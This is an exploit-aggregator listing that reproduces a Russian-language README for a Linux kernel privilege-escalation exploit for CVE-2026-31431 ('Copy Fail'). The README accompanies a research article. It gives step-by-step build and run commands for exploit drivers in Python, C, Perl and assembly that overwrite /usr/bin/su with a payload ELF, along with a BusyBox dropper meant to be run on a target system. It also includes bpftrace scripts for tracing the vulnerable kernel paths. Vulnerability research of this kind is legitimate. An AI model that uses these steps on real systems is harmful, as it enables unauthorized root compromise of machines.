Sploitus

Exploit for CVE-2026-31431-Copy-Fail

kitploit · 2026-08-25

Exploit Code

MARKDOWN194 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-4XURA-CVE-2026-31431-COPY-FAIL
# CVE-2026-31431: Когда копия — не копия, а отказ приходит слишком поздно

Артефакты и скрипты для статьи CopyFail.

Подробное описание:

  * https://4xura.com/binex/kernel/copy-fail/



## Структура

  * `proof-of-concept/` содержит демонстрации только с примитивами, использованные в статье.
  * `exploit-scripts/` содержит полные реализации эксплойтов на Python, C, Perl и ассемблере x86_64.
  * `bpftrace-scripts/` содержит небольшие вспомогательные скрипты для трассировки, использованные при анализе времени выполнения.



## Предварительные требования

Только артефакты на Perl, ассемблере и BusyBox ожидают внешний замещающий ELF. В примерах ниже этот файл называется `payload.pwnkit.elf`, но подойдёт любое имя файла.

Этот исполняемый файл не создаётся внутри данного репозитория. Сначала соберите его, следуя инструкции по сборке из статьи, затем поместите полученный ELF в ту же рабочую директорию, где находится запускаемый артефакт.

Примитивные PoC и драйверы эксплойтов на Python и C готовы к запуску без дополнительных действий.

## 1\. Примитивные PoC

Эти PoC в основном предназначены для демонстрации в статье. Они показывают примитив перезаписи изолированно, а не полный рабочий процесс замены исполняемого файла.

Чтобы запустить демонстрацию на Python, перейдите в директорию PoC и выполните скрипт:

root@kitploit:~
    
    
    cd proof-of-concept
    python3 copyfail_poc.py
    

Чтобы запустить демонстрацию на C, сначала соберите её, а затем выполните полученный бинарный файл:

root@kitploit:~
    
    
    cd proof-of-concept
    gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
    ./copyfail_poc
    

## 2\. Эксплойт на Python

Эксплойт на Python является самодостаточным и хранит замещающие байты прямо в скрипте.

Перейдите в директорию эксплойта и запустите с путём к цели по умолчанию:

root@kitploit:~
    
    
    cd exploit-scripts
    python3 exploit.py
    

Если нужен другой базовый путь цели, передайте его первым аргументом. Чтобы включить логи перезаписи по частям, установите `DEBUG=1`:

root@kitploit:~
    
    
    python3 exploit.py su
    DEBUG=1 python3 exploit.py su
    

## 3\. Эксплойт на C

Эксплойт на C также является самодостаточным. Если вы хотите использовать другую замену, сначала отредактируйте `PAYLOAD_BYTES` в `exploit-scripts/exploit.c`.

Соберите статический (опционально) бинарный файл следующим образом:

root@kitploit:~
    
    
    cd exploit-scripts
    gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
    

Затем запустите с целью по умолчанию или передайте другой базовый путь. Отладка через `DEBUG=1`:

root@kitploit:~
    
    
    ./exploit
    ./exploit su
    DEBUG=1 ./exploit su
    

## 4\. Эксплойт на Perl

Эта версия читает внешний ELF-файл с полезной нагрузкой вместо встраивания замещающих байтов в скрипт.

Запускайте из директории эксплойтов. Если не указаны дополнительные аргументы, используются цель и путь к полезной нагрузке по умолчанию:

root@kitploit:~
    
    
    cd exploit-scripts
    perl exploit.pl
    

Если нужно явно указать и путь к цели, и путь к ELF-файлу, передайте их как аргументы. Отладка также управляется через `DEBUG=1`:

root@kitploit:~
    
    
    perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
    DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
    

## 5\. Эксплойт на ассемблере

Эта версия также использует внешний ELF-файл с полезной нагрузкой. В примере ниже он называется `payload.pwnkit.elf`, но можно использовать любое имя. Если вы его переименовали, обновите строку `incbin` в `exploit-scripts/exploit.asm` соответствующим образом.

Соберите драйвер на ассемблере с помощью `nasm` и `ld`:

root@kitploit:~
    
    
    cd exploit-scripts
    nasm -f elf64 exploit.asm -o exploit.o
    ld -o exploit_asm exploit.o
    

Затем запустите с целью по умолчанию или передайте полный путь к цели:

root@kitploit:~
    
    
    ./exploit_asm
    ./exploit_asm /usr/bin/su
    

## 6\. Установщик BusyBox

Этот скрипт упаковывает драйвер на ассемблере и внешний ELF-файл полезной нагрузки в один совместимый с BusyBox раннер. В примере ниже используется `payload.pwnkit.elf`, но подойдёт любой файл, если вы передадите тот же путь упаковщику.

Сгенерируйте установщик из директории эксплойтов:

root@kitploit:~
    
    
    cd exploit-scripts
    sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
    chmod +x copyfail-busybox.sh
    

На целевой системе запустите сгенерированный скрипт с помощью BusyBox `sh`:

root@kitploit:~
    
    
    busybox sh ./copyfail-busybox.sh /usr/bin/su
    

## 7\. Вспомогательные скрипты Bpftrace

Перед запуском вспомогательных скриптов трассировки проверьте наличие нужных символов:

root@kitploit:~
    
    
    sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
    

Чтобы наблюдать за попаданием файловых страниц в путь splice, выполните:

root@kitploit:~
    
    
    sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
    

Чтобы наблюдать за данными, передаваемыми через канал в `AF_ALG`, выполните:

root@kitploit:~
    
    
    sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
    

Чтобы наблюдать за уязвимым обратным вызовом дешифрования `authencesn`, выполните:

root@kitploit:~
    
    
    sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt